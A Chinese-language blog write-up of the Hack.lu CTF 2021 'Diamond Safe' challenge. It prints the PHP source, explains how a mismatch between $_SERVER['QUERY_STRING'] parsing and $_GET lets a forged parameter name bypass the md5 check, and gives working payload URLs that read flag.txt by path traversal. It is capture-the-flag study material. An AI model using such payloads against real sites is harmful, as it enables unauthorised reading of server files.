Hack.lu CTF 2021 Diamond Safe学习

前言

看到安全客推送文章https://www.anquanke.com/post/id/258083
看到一道题Diamond Safe,于是小记一下,之前打CTF有做到过PHP的字符串解析特性,正好再结合这道题,做个笔记加深巩固下

记录

在登陆到后台后,有一个下载的功能,但是需要将secret和文件名组合的字符串进行md5加密,利用加密后的值和传入的md5值比较,必须相同才可以
有给定一个例子
https://diamond-safe.flu.xxx/download.php?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt
源码如下:
download.php

include_once("functions.php");
include_once("config.php");


$_SESSION['CSRFToken'] = md5(random_bytes(32));

if (!isset($_SESSION['is_auth']) or !$_SESSION['is_auth']){
    redirect('login.php');
    die();
}

if(!isset($_GET['file_name']) or !is_string($_GET['file_name'])){
    redirect('vault.php');
    die();
}

if(!isset($_GET['h']) or !is_string($_GET['h'])){
    redirect('vault.php');
    die();
}

// check the hash
if(!check_url()){
    redirect('vault.php');
    die();
}


$file = '/var/www/files/'. $_GET['file_name'];
if (!file_exists($file)) {
    redirect('vault.php');
    die();
}
else{
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}

functions.php

function check_url(){
    // fixed bypasses with arrays in get parameters
    $query  = explode('&', $_SERVER['QUERY_STRING']);

    $params = array();
    foreach( $query as $param ){
        // prevent notice on explode() if $param has no '='
        if (strpos($param, '=') === false){
            $param += '=';
        }
        list($name, $value) = explode('=', $param, 2);
        $params[urldecode($name)] = urldecode($value);

    }

    if(!isset($params['file_name']) or !isset($params['h'])){
        return False;
    }

    $secret = getenv('SECURE_URL_SECRET');
    $hash = md5("{$secret}|{$params['file_name']}|{$secret}");

    if($hash === $params['h']){
        return True;
    }

    return False;
}

由于我是看了WP了,所以我也没仔细看源码的每一步,但是粗略看下流程就比较清晰了
可以看到有一个差异
就是获取要下载的文件是通过$_GET['file_name']
$file = '/var/www/files/'. $_GET['file_name'];
而校验md5用到的file_name参数是通过$_SERVER['QUERY_STRING']获取的,由于$_SERVER['QUERY_STRING']获得的参数是不会自动进行Urldecode的
于是利用这样的差异可以使用用如下payload:
https://diamond-safe.flu.xxx/download.php?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt&file%20name=../../../../../flag.txt
https://diamond-safe.flu.xxx/download.php?h=95f0dc5903ee9796c3503d2be76ad159&file_name=Diamond.txt&file_name%00=../../../flag.txt
用如下代码进行本机测试

<?php 
show_source(__file__);
#echo $_SERVER['QUERY_STRING'];
echo "\n";
$query  = explode('&', $_SERVER['QUERY_STRING']);
$params = array();
    foreach( $query as $param ){
        // prevent notice on explode() if $param has no '='
        if (strpos($param, '=') === false){
            $param += '=';
        }
        list($name, $value) = explode('=', $param, 2);
        $params[urldecode($name)] = urldecode($value);

    }
var_dump($params)."\n";
echo $params['file_name']."\n";
echo $_GET['file_name'];

非常清晰的就能看到区别

学习文章

https://www.anquanke.com/post/id/258083
https://fireshellsecurity.team/hackluctf-diamond-safe/
https://www.freebuf.com/articles/web/213359.html

posted @ 2021-11-08 13:30  yunying  阅读(119)  评论(0编辑  收藏  举报